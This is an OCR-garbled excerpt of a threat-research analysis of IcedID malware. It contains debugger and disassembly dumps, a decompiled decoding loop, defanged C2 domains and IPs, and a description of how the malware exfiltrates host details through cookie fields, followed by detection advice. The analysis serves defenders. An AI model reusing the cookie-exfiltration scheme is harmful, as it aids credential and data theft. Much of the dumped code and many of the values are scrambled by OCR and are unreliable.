00007FF852FDOES4
00007FFE52FDOESD
00007 FF852FDOESC
DD007FF852FDOE6L
0D007FF852FDDEGE
00007FF852FDOEGA
00007 FF852FDOEEF
00007FFB52FDOET6E
00007 FF852FDOEFD
00007 FF852FDOETF
0D007FFS852FDOES2

&
ssssss

00007FF852FDOESL
00007 FF852FDDEY6
0D0D7FF852FDDEYA
DD007FF852FDOESF
0D007FF852FDOEAZ
00007FF852FDOEA4
00007 FFB852FDOEAT
00007 FFE52FDOEAD
00007 FF852FDOEAC
DD007FF852FDOEAE
00007 FF852FDOEBD
00007 FF852FDDEES
00007FFB52FDOEBT

00007 FFB52FDOEBA

0D0D7FF852FDOECS
DD007FF852FDOECT
00007FF852FDOECC
00007 FFB852FDOECE
00007FF852FDOEDL
00007 FFE52FDDEDE

KERNEL32.DLL
zvauerysys run!m‘
o

4c 355424

SBEA

50
50
58

4
3302
894424 60
4D

4 BF1

EB 299DFCFF
33FF
48:8D05 FO180500
F605 29AF0600 02

83FB OB

49: ag[s

185F6

07
8D05 C41B0500
93Cz4 40

855[24 20

EE8 AD1B0400
48:8D05 BAL1B0500
F605 03B50600 04
7

+

«

85C3
~ 74 07
BB 57000000

+

»
~
w

4
4C: 897424 28
4D:8BCC

8BDS
48:8BCE

EB EAFTFFFF
EEDS

ES000000

push ris

sub rsp,78
mov rax,qgword
XOr rax,rsp
gword ptr
ri3,qword
eax, eax
ri4,qword
ebx,rsd
ebp,edx
gword ptr
r&,gword
gqword ptr
edx,edx
dword ptr
mov riz,r 9
mov rsi,rc
call mnrrttp
xor edi,ed
Tea rﬂx,qwnrd
test byt

je winhttp.7F
test ri3,ri3
lea rdx,gword
mov rox,ris
cmove rox,rax
test ri2,riz
cmove rdx,rax
cmp ebx,8
jne winhttp.7
mov rax,rid4
test rid,ri4
winhttp.7?

i
m

'Iea

g
o
3
a
o

pt
- winhttp.
Tea rax,qgword
test byte ptr
je winhttp. 7F
test ri3,ri3
mov rod,ebp
mov r8,rsi
cmove ris,rax
mov qword ptr
mov gword ptr
mov_dword ptr
E&T winhttp.
test rsi,rsi
jne winhttp.7
lea ebx,qgword
jmp winhttp.7
Tea eax,qwor
test _ebx,eax
je winhttp.7F
mov ebx,57
jmp winhttp.7
cmp ebp,2
jae winhttp.7

gword ptr
ra,riz
rsd,ebx
qword ptr
edx, ebp
mov_rcx,rsi
call mnrrttp

mov ebx,eax

d ptr_ds: [7FF353022A1u]

0000023739C0D420)
0000000000600000|

0000000100000000,
0000023739C0D5B2|L"; _g1d=00685986189F"

0000023700000000|

0000023739C0D410] L "Cook =1788140586: 2: 218429: 178; _gate10.0.18363.64; _gaml.591594. 1635208534, 1531;
00007FFB5CCC2300,

SR Tpapt 0oBRTFERsCEE 300
00000001

4338 packed_icedid. 80004338

0000000000050

0000023739C3FCO0}

000000487 45FFC 10|
000000018000 1E8:

4| return to packed_tcedid from packed_tcedid. s

D0000OAB? 45F FOFT .
745FFED4| “mappingmorrage. top”

FREFFE
000000487 45FFD30| L “mappingmorrage. top”

‘mapg
0000000180004338| packed_icedid. 0000000180004338
0000023739C00410| L“CooKkTe: _gads=1786140586: 2 2084293 178; 98T=10,0.18363,64; ~0a=1.591594,1635208534.1531;

00000a87 3rr 870 | 3631399638429292]

ptr ds: [7FF85303B8180] rax:L"POST"

ss:ffrsp+6sl,rax
ptr ss:[irsp+Eof]

ptr ss:[@rsp+esl
55 Irsﬁﬁol,rax

ptr ss:|[rsp+sof
ss:ffrsp+saf,rax

[rsp+58]:L"Cookie: __gads=1788140586:2:227210:179; _gat=10.0.18363.64;

ss:[frsp+eofl, eax

riz RO\ X7F"
rexi&" KoRehx7F™

TFFB52F9AB30

ptr ds: [7FF853022700] rax:L"POST", 00007FF853022700:L"NULL"
ds

7FF853038D40] , 2

F252FDOETE
ptr ds: [FFF8530229Fa]

rdx:L"GET",

00007FF8530223F8: L <username>"
x7F

FF852FDOE45
rax:L"POST"

FF852FDOE4C
rax:L"POST", 00007FF853022A10:L"<NOREALM>"

ss:firsp:

ss:ffrsp+380,rdx
ss:ffrsp+30f,rax
F1a
L ebx

Ss:@rsp+28|
ss:ffrsp+2
TFFB53012A1C
ptr ds: [FFF853022700]
d=: [TFFE5303C380] , 4
F852FDOESF

rax:L"POST", 00007FF853022700:L"NULL"

rax:L"POST"

ss:firsp+28],ri2
ss:ffirsp+20f, ebx
7FF852FD0ABS

ss:Irsp+30 ,ris

FF852FDOEAS
ptr ds:[rsi+6]
FF852FDOEDC
ptr ds:[rbx-1]

F852FDOEBY
57:'wW'
FF852FDOEDC

FF852FDOEBD
ss:ffrsp+28],ria
riz2:&" KorRe\x7F"

ss:[irsp+zof,ri3

rex:&" KorReh\x7F™

TFFB52FD0O6CO
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do |
local 215[ (longlong) lpMem 00] =
* (byte *) (1pMem 00 + 0x60001410) * *(byte *) (lpMem 00 + 0x60001400);
1pMem 00 = (uint *) ({longlong)lpMem 00 + 1):
} while (lpMem 00 < (uint *)0x20);

DAT 180003000 = 27

1 2bE% = L™aws.amazon.com";
= (LPWSTR)0x0;

p0 = eDAT 130004338;
local 29c = 1;

2al = 0xlbb;

98 = |:|.-

28 = gLAB 180002814;

90 = 05

local 280 = 0x30;

FUN_ 180001100 (&local 2b8&, (LFWOID *)&local resll, (LEVOID *)&local resg):
hiieap = GetProcessHeap():;

= [LPHSTR)HeaphAlloc(hHeap,8,0x2001);

ar3 = (LPWSTIR)0x0) {

Checking aws.amazon.com connectivity

Some of the domains collected from our analysis of around 500 samples of IcedID included:

epicprotovir[.]download
essoandmobilcards[.]com
immotransfer[.]top
kickersflyers[.]bid
mappingmorrage[ . ]top
momenturede[.]fun
provokordino[ . ]space
quadrogorrilal.]casa
vaclicinni[.]xyz
vikolifer[.]top

These appear to be masked through CloudFlare IPs. For example,

hxxp[ ://]mappingmorrage[.Jtop/
172.67.196.74

104.21.57.254
2606:4700:3037::6815:39fe
2606:4700:3037::ac43: cd4a

The malware’s main module functions to steal credentials from the victim’s machine, exfiltrating information back

to the C2 server.

A cookie which has information from the infected host is sent to the C2 and contains the OS type, username,

computer name, and CPU domain, giving the operators a good understanding of the compromised environment.
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__gads:

_gat: Windows version info 6.3.9600.64 is Windows 8.1 64bit

_ga: Processor CPUID information

_u: Username and Computername DESKTOP-FRH1VBHMarcoFB35A6FF06678D37
__io: Domain id

_gid: NIC

Cookie: _ gads=582124465:1:66
Cookie pair: __gads=5821244
Cookie pair: _gat=6.3.9600.
Cookie pair: _ga=1.329443.¢@

.3.9600.64; _ga=1.329443.0.0; _u=5043:61646D696E :43434334434346464344314543443431; __10=21_4080122336_2017344304_407619480; _g1d=92AA186ABDBON r\n

14346464344314543443431

Cookie pair: _u=5043:61646D_swrc194se

Cookie pair: __io=21_408012

Cookie pair: _gid=92AA106AH
Host: mappingmorrage.top\r\n

IcelID exfiltrates environmental data via a cookie

Discovering network traffic with the headers listed above is an indication that the host has been infected with

IcedID malware.

Conclusion

Many IcedID attacks begin with a phishing email and users opening the attachment. In this campaign, IcedID uses
a maldoc in the initial infection stage in an attempt to bypass defenses by interacting with the contents of the
document itself. The use of an HTA file with its dependency on IE’s mshta.exe is reasonably unusual behavior

that defenders can monitor for in their environments. This, along with other techniques such as changing the file

extension and the behavior of the DLL, should be detected by a capable Next Gen security solution.

Indicators of Compromise

https://github.com/Sentinel.abs/icedID

Source: https://labs.sentinelone.com/evasive-maneuvers-massive-icedid-campaign-aims-for-stealth-with-benign-macros/
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